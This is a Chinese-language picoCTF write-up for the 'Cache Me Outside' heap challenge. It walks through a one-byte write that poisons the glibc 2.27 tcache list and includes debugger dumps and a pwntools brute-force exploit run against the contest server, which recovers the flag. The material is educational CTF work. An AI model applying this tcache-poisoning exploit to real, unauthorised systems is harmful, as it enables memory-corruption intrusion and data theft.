题目分析
题目给了三个文件,libc版本是2.27,其中给了个makefile:
➜ pwn-Cache Me Outside cat Makefile
all:
gcc -Xlinker -rpath=./ -Wall -m64 -pedantic -no-pie --std=gnu99 -o heapedit heapedit.c
clean:
rm heapedit
这里给的提示是-no-pie
服务器上的该程序未开启PIE机制,没有基址随机化
程序本身:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
char val; // [rsp+1Fh] [rbp-A1h] BYREF
int index; // [rsp+20h] [rbp-A0h] BYREF
int i; // [rsp+24h] [rbp-9Ch]
char *v8; // [rsp+28h] [rbp-98h]
char *dest; // [rsp+30h] [rbp-90h]
FILE *stream; // [rsp+38h] [rbp-88h]
char *sry; // [rsp+40h] [rbp-80h]
const char *v12; // [rsp+48h] [rbp-78h]
char src[32]; // [rsp+50h] [rbp-70h] BYREF
char s[72]; // [rsp+70h] [rbp-50h] BYREF
unsigned __int64 v15; // [rsp+B8h] [rbp-8h]
v15 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
stream = fopen("flag.txt", "r");
fgets(s, 64, stream);
strcpy(src, "this is a random string.");
v8 = 0LL;
for ( i = 0; i <= 6; ++i )
{
dest = (char *)malloc(0x80uLL);
if ( !v8 )
v8 = dest;
v3 = dest;
*(_QWORD *)dest = 'stargnoC'; // Congrats
strcpy(v3 + 8, "! Your flag is: ");
strcat(dest, s); // flag读取在了dest这里
}
sry = (char *)malloc(0x80uLL);
strcpy(sry, "Sorry! This won't help you: ");
strcat(sry, src);
free(dest); // 释放了
free(sry);
index = 0;
val = 0;
puts("You may edit one byte in the program.");
printf("Address: ");
__isoc99_scanf("%d", &index); // 可以输入负数
printf("Value: ");
__isoc99_scanf(" %c", &val);
v8[index] = val; // 修改一个字节,位于堆上的
v12 = (const char *)malloc(0x80uLL); // 申请空闲chunk
puts(v12 + 0x10);
return 0;
}
读取flag到堆内存,然后释放该chunk
最后给了个任意写功能,可以在堆地址上的任意位置写入1字节
漏洞利用
对于libc2.27,该版本启用了TcacheBin机制,但对其没有什么安全检查,所以导致可以直接篡改TcacheBin链表的指针
由于只能改1字节,先调试看看
输入0:看看v8指针在哪里,与我们要修改的地方差多少:
You may edit one byte in the program.
Address: 0
Value: 6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
*RAX 0x36
RBX 0x0
*RCX 0x1
*RDX 0x6034a0 ◂— 'Congrats! Your flag is: picoCTF{testtest}\n'
RDI 0x0
*RSI 0x1
R8 0x0
R9 0x0
R10 0x0
*R11 0x400b56 ◂— add byte ptr [rax], al
*R12 0x400720 (_start) ◂— xor ebp, ebp
*R13 0x7fffffffdae0 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7fffffffda00 —▸ 0x400a80 (__libc_csu_init) ◂— push r15
*RSP 0x7fffffffd940 —▸ 0x7fffffffdae8 —▸ 0x7fffffffdefa ◂— '/home/selph/Downloads/PicoCTF/pwn-Cache Me Outside/heapedit'
*RIP 0x400a43 (main+572) ◂— mov byte ptr [rdx], al
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
► 0x400a43 <main+572> mov byte ptr [rdx], al
0x400a45 <main+574> mov edi, 0x80
0x400a4a <main+579> call malloc@plt <malloc@plt>
0x400a4f <main+584> mov qword ptr [rbp - 0x78], rax
0x400a53 <main+588> mov rax, qword ptr [rbp - 0x78]
0x400a57 <main+592> add rax, 0x10
0x400a5b <main+596> mov rdi, rax
0x400a5e <main+599> call puts@plt <puts@plt>
0x400a63 <main+604> mov eax, 0
0x400a68 <main+609> mov rcx, qword ptr [rbp - 8]
0x400a6c <main+613> xor rcx, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd940 —▸ 0x7fffffffdae8 —▸ 0x7fffffffdefa ◂— '/home/selph/Downloads/PicoCTF/pwn-Cache Me Outside/heapedit'
01:0008│ 0x7fffffffd948 ◂— 0x100000100
02:0010│ 0x7fffffffd950 —▸ 0x7ffff7ffa2d0 ◂— add byte ptr [rax], al /* 'J' */
03:0018│ 0x7fffffffd958 ◂— 0x36007ffff7ffe710
04:0020│ 0x7fffffffd960 ◂— 0x700000000
05:0028│ 0x7fffffffd968 —▸ 0x6034a0 ◂— 'Congrats! Your flag is: picoCTF{testtest}\n'
06:0030│ 0x7fffffffd970 —▸ 0x603800 ◂— 0x0
07:0038│ 0x7fffffffd978 —▸ 0x602260 ◂— 0xfbad2488
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► 0 0x400a43 main+572
1 0x7ffff7a08b97 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Heap:
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x251
pwndbg> dq 0x602000 40
0000000000602000 0000000000000000 0000000000000251
0000000000602010 0200000000000000 0000000000000000
0000000000602020 0000000000000000 0000000000000000
0000000000602030 0000000000000000 0000000000000000
0000000000602040 0000000000000000 0000000000000000
0000000000602050 0000000000000000 0000000000000000
0000000000602060 0000000000000000 0000000000000000
0000000000602070 0000000000000000 0000000000000000
0000000000602080 0000000000000000 0000000000603890
0000000000602090 0000000000000000 0000000000000000
00000000006020a0 0000000000000000 0000000000000000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
00000000006020d0 0000000000000000 0000000000000000
00000000006020e0 0000000000000000 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 0000000000000000 0000000000000000
0000000000602130 0000000000000000 0000000000000000
可以看到,我们任意地址写入的基地址是0x6034a0
,后续程序会申请0x80大小的内存并打印,所以这里我们希望这个申请能申请到写入基地址上,也就是内含flag的地址
那么就需要做的就是修改TcacheBin Head里面的指针0x602088
中间的差值是:5144,
多次调试发现,写入基地址和TcacheBin指针地址的差别就在中间1字节上,写入基地址都是*4
,目标地址的值都是*8
由于服务器未开启pie,所以这里的值可通过爆破,调整一下位置,指向0x603890
中间的0x38
这里
exp:
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'warn'
FILE_NAME = "./heapedit"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 17612
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
b*0x000000000400A43
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
for i in range(0x04,0x104,0x10):
try:
io = start()
io.sendlineafter(b"Address: ",b"-5143")
io.sendlineafter(b"Value: ",p8(i))
a = io.recv()
print(a)
io.close()
except:
continue
爆破结果:
➜ pwn-Cache Me Outside python3 exp.py REMOTE
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'Congrats! Your flag is: picoCTF{ cdcd74b0b2c86f668831e26b5d512bc}\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'\n'
b'\n'
b'timeout: the monitored command dumped core\n'
b'\n'
b'Congrats! Your flag is: picoCTF{ cdcd74b0b2c86f668831e26b5d512bc}\n'
b'\n'
b'\n'